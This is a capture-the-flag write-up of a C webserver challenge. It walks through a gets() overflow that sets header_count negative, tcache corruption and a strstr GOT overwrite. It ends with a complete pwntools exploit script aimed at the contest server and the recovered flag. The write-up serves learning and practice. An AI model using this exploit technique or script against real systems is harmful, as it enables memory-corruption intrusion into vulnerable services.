I solve this challenge as DeadSec team.
A webserver written in C is given
In the code, server use debug_handler
function when client request flag.txt file like below code.
1
2
3
4
5
6
7
8
9
10
|
handler_fn handler;
if (strstr(path, "flag.txt") != NULL) {
handler = debug_handler;
} else {
handler = fileserv_handler;
}
handler(method, path, version, header_count, headers, data, err);
|
Vulnerability occurs in gets
function.
1
2
3
4
5
|
for (;;) {
char *header_line = gets(buf);
if (header_line == NULL) longjmp(err, 1);
if (strlen(header_line) == 0 || strcmp(header_line, "\r") == 0) break; // "\n" or "\r\n"; end of query
|
In above code, we can control headers
, header_cap
, header_count
variables because buf
address is lower than aforementioned variables address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
for (;;) {
char *header_line = gets(buf);
if (header_line == NULL) longjmp(err, 1);
if (strlen(header_line) == 0 || strcmp(header_line, "\r") == 0) break; // "\n" or "\r\n"; end of query
int index = 0;
char *name = take_until_char(header_line, &index, ':');
char *value = take_until_newline(header_line, &index);
name = malloc_str(name);
value = malloc_str(value);
if (header_count + 1 > header_cap) {
int new_cap = header_cap < 4 ? 4 : header_cap * 2;
headers = realloc(headers, sizeof(struct Header) * new_cap);
header_cap = new_cap;
}
struct Header h;
h.name = name;
h.value = value;
headers[header_count] = h;
header_count += 1;
.....
}
|
If we set header_count
as negative value, we can write h struct to tcache arena. This means we can write some address that has strings we can control to tcache arena.
I think if safe linking is enabled, thist challenge is unexploitable. And fortunately server is based on ubuntu 20.04.
I abuse vulnerability and make heap struct like above picture. We must set bin’s count and bin address. fopendir
is close to strstr
got so I overwrite strstr
to fopendir
plt.
1
2
3
4
5
6
7
8
9
10
|
handler_fn handler;
if (strstr(path, "flag.txt") != NULL) {
handler = debug_handler;
} else {
handler = fileserv_handler;
}
handler(method, path, version, header_count, headers, data, err);
|
fopendir
returns NULL when fail to open directory, fileserv_handler
called when overwrite got.
This challenge doesn’t serve dockerfile so we must brute force appropriate header_count
value.
As the result, you can see -192 is answer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
from pwn import*
#context.log_level = 'debug'
e = ELF('./webserver')
target = e.got['strstr'] - 0x10
def make(header, cl, headers, header_cap, header_count):
pl = header
pl = pl.ljust(0x320 - 4, b'\x90') #Dumm
pl += p32(cl) #content-length
pl += p64(headers)
pl += p32(header_cap) #header_cap
pl += p32(header_count) #header_count
return pl
#p = process('./webserver')
for j in range(-0x137, 0x100):
j = -192
try:
p = remote('guppy.utctf.live', 5848)
pl = b'GET /flag.txt HTTP/1.1\x00\r\n'
p.send(pl)
pl = b'content-length : 10\n' #make 0x50 chunk
p.send(pl)
for i in range(3):
pl = b'content-length : 10\n'
p.send(pl)
pl = make(b'aa :' + p64(target) * 6 + b' : ' + p64(target) * 6, 0, 0, negate(0x200), negate(0x137 + j))
p.sendline(pl)
#print('first')
pl = make(p64(target) * 6 + b' : ' + p64(target) * 6, 0, 0, negate(0x200), negate(0x150 + j))
p.sendline(pl)
#print('second')
pl = make(p64(target) * 6 + b' : ' + p64(target) * 6, 0x160-1, 0, 11, 11)
p.sendline(pl)
#print('third')
p.send(b'\r\n')
#content
pl = p64(0x4011a0) + p64(0) + p64(0x4011a0)
pl = pl.ljust(0x160-1, b'A')
p.sendline(pl)
line = p.recvline()
print('line : ', line)
if b'For' not in line:
print(j)
p.interactive()
except:
p.close()
|
utflag{an_educational_experience}